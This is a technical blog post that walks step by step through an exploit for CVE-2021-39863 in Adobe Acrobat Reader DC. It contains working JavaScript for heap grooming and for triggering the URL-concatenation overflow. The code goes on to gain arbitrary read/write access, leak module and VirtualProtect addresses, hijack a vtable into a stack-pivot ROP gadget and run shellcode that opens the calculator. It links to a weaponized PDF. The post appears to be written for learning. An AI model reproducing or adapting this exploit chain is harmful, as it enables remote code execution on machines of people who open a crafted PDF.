[ENG] CVE-2021-39863 Exploit

mntly·2025년 2월 11일
0

SegFau1t

목록 보기
6/6

Introduction

  • If we open the PDF file below with CFG off, which is Windows' protection technique, we can exploit the vulnerable Adobe PDF Reader.
  • The ultimate goal of Exploit is "RCE", Remote Code Execution. However, running malicious code in the real world is illegal.
  • Therefore, below PDF file below doesn't do any malicious behavior as a result of the Exploit, but executes the calculator.

The link to the PDF file which contains the Exploit JS Code


  • The security techniques bypassed by the above Exploit PDF are as follows.
    1. ASLR, Address space layout randomization
      1. The protection technique that changes the base address of Heap, Stack, and Code area whenever executing the program.
      2. We can bypass the ASLR by leaking BitmapData in the UserBlock Header.

    1. DEP, Data Execution Prevention

      1. The protection technique that prevents commands from being executed in areas that must not be executed code, such as Stack and Heap.

      2. We can bypass the DEP by granting the rwx authority to the area where Stack Pivoting was performed using the VirtualProtect function after performing Stack Pivoting.

        • Stack Pivoting is a technique in which the attacker manipulates the Stack Pointer (esp, rsp) to deceive the system into recognizing a desired memory as the Stack.

  • As I mentioned above, we do not bypass Windpws' protection technique, CFG.
    • CFG, Control Flow Guard
      • The protection technique that prevents jumps to unexpected addresses by adding a verification process before every indirect call to ensure that the destination address is safe.
      • The safe destination addresses are determined at compilation (before executing the program).
      • Now, we succeeded in bypassing CFG, and I'm writing about this.

Overview

[Fig 1] Overview of all Exploit process


  • Exploit Process
    1. Preparing Heap Layout
      1. Construct Heap Layout to get R/W primitive.
        • To exploit, we will manipulate arbitrary address space by setting R/W primitive as the base address.
      2. If the byte Length of ArrayBuffer is -1 then we can access the entire memory space using the DataView object generated from the ArrayBuffer whose byte Length is -1.
      3. Configure Heap Layout so that concatenated URL is stored between allocated ArrayBuffers.
        • Thanks to this Heap Layout, when the Relative URL is concatenated behind the Base URL, the Root Cause occurs.
        • Using Root Cause, we can overwrite the byteLength of the ArrayBuffer adjacent to the concatenated URL into a very large number.

    2. Get Arbitrary R/W primitive

    3. Address Leak & Overwrite

    4. Preparing Stack Pivoting

1. Preparing Heap Layout

var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;

function createArrayBuffer(blocksize) {
  var arr = new ArrayBuffer(blocksize - 0x10);
  var u8 = new Uint8Array(arr);
  for (var i = 0; i < arr.byteLength; i++) {
    u8[i] = 0x42;
  }
  return arr;
}

// 1. Prepare the LFH heap space to store a string that will overwrite the byteLength. (And store the string)
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
  arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}

// 2. Prepare space to store the relativeURL between the prepared string (by making holes).
for (var i = 0x11; i < arrB.length; i += 10) {
  arrB[i] = null;
  arrB[i] = undefined;
}

// 3. Prepare LFH heap space to store concatenated URL
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
  arrA[i] = createArrayBuffer(strConUrlSize);
}

// 4. Specify the space for the concatenated URL between heap allocated as ArrayBuffers in the LFH (by making holes).
for (var i = 0x11; i < arrA.length; i += 10) {
  arrA[i] = null;
  arrA[i] = undefined;
}

// Garbage Collection (To free ArrayBuffers which became hole - The space for URLs)
// To store URLs in the desired space, GC must be executed.
gc();
  1. Prepare the LFH heap space to store a string that will overwrite the byteLength. (And store the string)

    • Each string is allocated to a different heap space when storing strings with the size of relative URL (0x600 byte) to the array, arrB.
      • Heap Chunks with the same size are allocated several times, therefore, LFH is activated.

        • %u indicates the Unicode encoding.
          This means the 2 byte behind %u are encoded to Unicode. (%u????)
        • sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase(); generates (strRelUrlSize/2) - 1 Unicode characters except 2 byte of Null Terminator.
          • The length of Relative URL : strRelUrlSize
          • The length of Relative URL except for 2 byte Null Terminator
            : strRelUrlSize - 2 = (strRelUrlSize/2) - 1
            : Same length with generated string

  2. Prepare space to store the relativeURL between the prepared string (by making holes).

  3. Prepare LFH heap space to store concatenated URL

    • Generate the LFH space to store the concatenated URL by allocating several heap chunks with the length of the concatenated URL (0x800 byte).

    • The size of the URL and heap header used for Exploit

      1. relative URL : 0x600 byte including Null Terminator
      2. base URL : 0x200 byte except Null Terminator
      3. ArrayBuffer header : 0x10 byte
      4. Heap metadata : 0x08 byte
    • How are URLs stored?

      • relative URL
        : Relative URL is sent to the program as a string by the below code. This string is saved to allocated memory (heap).
        try {
          this.submitForm('relative URL');
        } catch (err) { }
        or
        try {
            app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
        } catch(err) {}
        etc.
      • base URL
        : BaseURL is snet to the program as string through PDF object. This string is saved to the space defined as ArrayBuffer.
        11 0 obj
        <<
        /Base <FEFF68747470733A2F2F7777772E61612E636F6D2F414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141412F>
        >>
    • The process of concatenating Relative and Base URL

      1. Copy the base URL to the LFH Heap space where generated previously.
      2. Concatenating URLs by copying relative URL behind the base URL.
      3. At this time, with Exploit, the string right behind to relative URL is copied right behind the concatenate URL.
        • The Concatenated string right behind the concatenated URL overwrites the byteLength of ArrayBuffer right next to the string to a very high value.
  4. Specify the space for the concatenated URL between the heap allocated as ArrayBuffers in the LFH (by making holes).

[Fig 2] Schematic Diagram of the process, Preparing Heap Layout

2. Triggering the Vulnerability

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}
  1. The Base URL is copied to the front of the heap space to store the concatenated URL.
    • The heap space that stores the base URL is a normal Heap, not an ArrayBuffer. Therefore, the base URL is copied right next to the Heap metadata.
    • In other words, the base URL is copied from the ArrayBuffer header generated when ArrayBuffer is allocated.

  2. When the relative URL is copied right next to the copied base URL, the relative URL overwrites the byteLength field of ArrayBuffer adjacent to the heap space which stores the concatenated URL.
  • In [Fig 3] and [Fig 4], Base indicates base URL, and relative indicates relative URL.

[Fig 3] The contents of the heaps(ArrayBuffer) which are the heap that stores concatenated URL and the heap right next to it after storing the base URL

[Fig 4] The contents of the heaps(ArrayBuffer) which are the heap that stores concatenated URL and the heap right next to it after concatenating URLs

3. Get Arbitrary R/W primitive

// 1. Construct relative r/w primitive
// We can read and write the memory starting from r/w primitive as base using index (Out Of Bound, OOB index).
for (var i = 0; i < arrA.length; i++) {
    if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
      var temp = new DataView(arrA[i]);
      temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
    }

    if (arrA[i] != null && arrA[i].byteLength == -1) {
      var rw = new DataView(arrA[i]);
      break;
    }
}

// 2. Get the base address (VA) of OOB (oob base; StartAddr)
// We can manage the memory at the arbitrary VA
if (rw) {
    curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
    BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18

    for (var i = 0; i < 0x30; i += 4) {
        BitMapBufOffset += 4;
        signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
        if (signature == 0xF0E0D0C0) {
            BitMapBufOffset -= 0xC;
            BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
            break;
        }
    }
    if (BitMapBuf) {
        StartAddr = BitMapBuf + BitMapBufOffset - 4;
    }
 }

[Fig 5] The schematic diagram of how to get r/w primitive


  1. After triggering the root cause, the byteLength field of the ArrayBuffer adjacent to the concatenated URL becomes overwritten to 0xFFFF.
  2. Overwrite the byteLength of ArrayBuffer to -1. This ArrayBuffer is next to the ArrayBuffer overwritten at process 0..
    1. Find the 0xFFFF on the location of byteLength to find out the ArrayBuffer adjacent to the concatenated URL.
    2. Overwrite the byteLength to 0xFFFFFFFF (-1) whose ArrayBuffer is next to the found ArrayBuffer.
    • If byteLength becomes -1, then we can manage the entire memory space relatively (with its ArrayBuffer as the base).

  1. Set DataView object at the ArrayBuffer whose byteLength was overwritten to -1.
    Using the DataView object, we can manage the entire memory space relatively (with R/W primitive as the base).

  1. Find the VA (Virtual Address) of the R/W primitive mentioned above.

    • This VA is used as a base value when we manage the memory using the DataView object.
    • Find this VA and offset from this VA, and send these to the DataView object to read and write the arbitrary memory space.

    [Fig 6] The diagram to find VA of r/w primitive using UserBlock structure


    1. Get chunk number from Heap Chunk Header of Heap Chunk whose byteLength field is overwritten to -1.

      • We will find the UserBlock Header using this chunk number.

    2. Calculate the offset between the R/W primitive and the starting position of the Heap Chunk Header of Heap Chunk.

      • To calculate offset, we need ...
        1. Chunk number, chunk size
          • chunk size is the size of Heap Chunk which stores the concatenated URL. This is 0x808 byte.
        2. The size of the Heap chunk header (0x08 byte)
        3. The size of ArrayBuffer Header (0x10 byte)
      • offset = chunk number * chunk size + 0x08 + 0x10

    3. Calculate offset between R/W primitive and signature (0xF0E0D0C0) which is set by LFH Userblock.

      • Between the LFH Userblock Header and the first heap chunk of LFH, there is a space with inconsistent size.

      • Because of this, we use the signature of Userblock, which is always consistent in LFH, to get the offset between LFH and the first heap chunk of LFH.
        • In detail, add 4 byte each from the offset obtained from 2. until offset becomes the offset between signature and r/w primitive by checking if the value is 0xF0E0D0C0.
        • I noticed this value as 4 * m in the below formula.
        • offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m

    4. Leak VA of BitmapData field in structure UserBlock
      : Using the structure of structure UserBlock, get the VA of BitmapData which is stored at Pointer noticed at [Fig 6].

      • From [Fig 6], the Pointer (BusyBitmap.Buffer) is located 0x0C byte above from Signature. Therefore, we can get the offset between the R/W primitive and the address where BitmapData is stored by subtracting 0x0C byte from the offset calculated at 3..
        offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0C
        &BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)

      [Fig 7] The structure of UserBlock Header


    1. Calculate the VA of R/W primitive (startAddr)

      • To do this, we need ...
        1. The offset calculated at 3.
        2. The VA obtained at 4.
        3. The size of the space between Pointer and BitmapData (: The size of Pointer, 0x04 byte)

      • offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
      • startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04

    2. We can access the entire memory space by address using the VA of R/W primitive.

      function readUint32(dataView, readAddr) {
        var offsetAddr = readAddr - StartAddr;
        if (offsetAddr < 0) {
          offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
        }
        return dataView.getUint32(offsetAddr, true);
      }
      
      function writeUint32(dataView, writeAddr, value) {
        var offsetAddr = writeAddr - StartAddr;
        if (offsetAddr < 0) {
          offsetAddr = offsetAddr + 0xFFFFFFFF + 1
        }
        return dataView.setUint32(offsetAddr, value, true);
      }

      The above two functions help to manage (read, write) the memory whose VA is readAddr and writeAddr respectively.

      Operation Process

      1. Those functions receive the VA of specific memory. Using this VA, those functions calculate the offset between the VA of the R/W primitive and the given VA.
      2. Manage the memory of the given VA using the DataView object of R/W primitive with offset calculated at 1..
        ⇒ With this process, we can manage specific memory space using VA.

4. Preparing Stack Pivoting

var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);

for (var i = 0; i < 0x8000; i++) {
    heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
  • Perform Stack Pivoting by changing esp to an arbitrary address. From this Adobe recognizes that address as Stack (Fake Stack).

  • Of course, the Fake Stack pointed by esp points must have read and written permission.
    : For this, we allocated lots of Heap Chunks (Heap Spraying). Because allocated Heap Chunks have read and write permission, the memory pointed by changed esp has read and write permission with a high probability.

  • Why do I focus on the "read and write permission"?

    • If Fake Stack doesn't have these permissions, then the crash may occur because Fake Stack grows to a non-manageable space and tries to manage here during exploitation.
    • We can reduce the probability of crash with Heap Spraying.
    • However, Heap allocation processes are random, so we can not be confident that Exploit is always successful.

5. Address Leak & Overwrite ⇒ Hijacking Execution Flow

// 1. START Information Leak
// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;

// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);

// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak

// 2. Overwrite the address of getProperty in vtable to the address of the ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);

// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
	writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}

// 4. Setup new Stack
var newStackAddr = 0x5D000001;

writeUint32(rw, newStackAddr, VirtualProtectAddr);      // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18);  // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18);  //  Arg1 : Starting address of memory (Shellcode will be stored)
writeUint32(rw, newStackAddr + 0xC, shellcodesize);     //  Arg2 : Size of memory
writeUint32(rw, newStackAddr + 0x10, 0x40);             //  Arg3 : Protection Constant of memory : 0x40 : Execution Permission
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); //  Arg4 : Pointer to store previous Protection Constant

// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
  • The important values for Exploit and places where there are stored
    1. ROP Gadget ⇒ Specific portion in EScript.api (with fixed offset)
      0x1050AE: mov esp, 0x5d000001; ret;

    2. (To success Exploit,) the new stack (Fake Stack) should be located somewhere in the sprayed Heap space.
        1. By ROP Gadget, esp is changed to 0x5d000001.

    3. shellcode ⇒ r/w primitive + 0x18

1) Information Leak for Exploit

  1. Get the base address of EScript.
    a. Using the memory structure of JSObject (DataView, …), get the address of somewhere in EScript.api.

    b. Calculate the base address of EScript.api by deducting offset (= 0x277548) from the address obtained at a.. The offset is found using IDA.

  2. Calculate the offset of the VirtualProtect function (= 0x1B0060) in kernel32.dll using IDA.

    • VirtualProtect function is used by EScript.api.
    • VirtualProtect function grants execution authority where the Shellcode is stored. Therefore, we can execute Shellcode normally.
      [Fig 8] Call VirtualProtect function which is stored at .idata segment in EScript.api
      +) .idata segment represents the import table.
  3. Calculate the address of VirtualProtect function in kernel32.dll.

    • To calculate the VA of the VirtualProtect function, we used ...
      1. the base address of EScript.api obtained at 1.
      2. the offset of the VirtualProtect function calculated at 2.
  4. Get VA of property map in DataView Object.

2) Overwrite property map

  • In the property map of the rw DataView Object, overwrite the address of the getProperty function to the address of ROP Gadget.
  • Then, if the rw DataView Object tries to call the getProperty function, it calls ROP Gadget, not the getProperty function.

3) Write shell code

  • Write shell code to writable space. (We wrote it to r/w primitive + 0x18)

4) Construct a new stack

  1. Because ROP Gadget changes esp to 0x5D000001, we should construct a new stack frame at 0x5D000001.

  2. In the new Stack, the Exploit is done by the below steps.
    [Fig 9] The schematic diagram of New Stack (right before executing ROP Gadget)


    a. Grant write authority to the space where Shellcode is stored by calling the VirtualProtect function.
    [Fig 10] The schematic diagram of New Stack right before executing ret instruction in ROP Gadget (left), and right before executing VirtualProtect function (right)


    b. Execute Shellcode
    [Fig 11] The schematic diagram of New Stack right after function Prologue of the VirtualProtect (left), and right before executing Shellcode

    • In Shellcode, we did not store RIP because we call VirtualProtect function by jmp eip, not call VirtualProtect.
    • Adobe recognizes the value StartAddr+0x18, which existed in New Stack, as RIP.
    • Therefore, after the VirtualProtect function, Adobe executes the instructions stored at StartAddr+0x18, which is Shellcode.

5. Triggering Exploit

  • Adobe calls the getProperty function when it refers to the Property that does not exist in the DataView Object. We choose this non-existent Property as execFlowHijack.
  • At this time, Adobe accesses to getProperty function by referring to the Property map in the DataView Object which stores the address of the getProperty function.
  • However, we already overwritten it to the address of ROP Gadget, so instead of getProperty, ROP Gadget is executed.

+) Analyze Shellcode

Scenario

  • Below is a video showing the exploit process where:
    1. The victim downloads the PDF file containing the exploit code without suspicion,
    2. Opens the downloaded file using a vulnerable version of Adobe Acrobat Reader DC with CFG disabled,
    3. And the exploit is done with executing the calculator.

Further Reading

  1. [ENG] Encoding [UTF-16BE; ANSI]

  2. [ENG] Process of JS in PDF at Adobe

  3. [ENG] JS Object - SpiderMonkey

  4. [ENG] Windows Heap - LFH

  5. [ENG] CVE-2021-39863 Analysis


Feedback is always welcome.

0개의 댓글

관련 채용 정보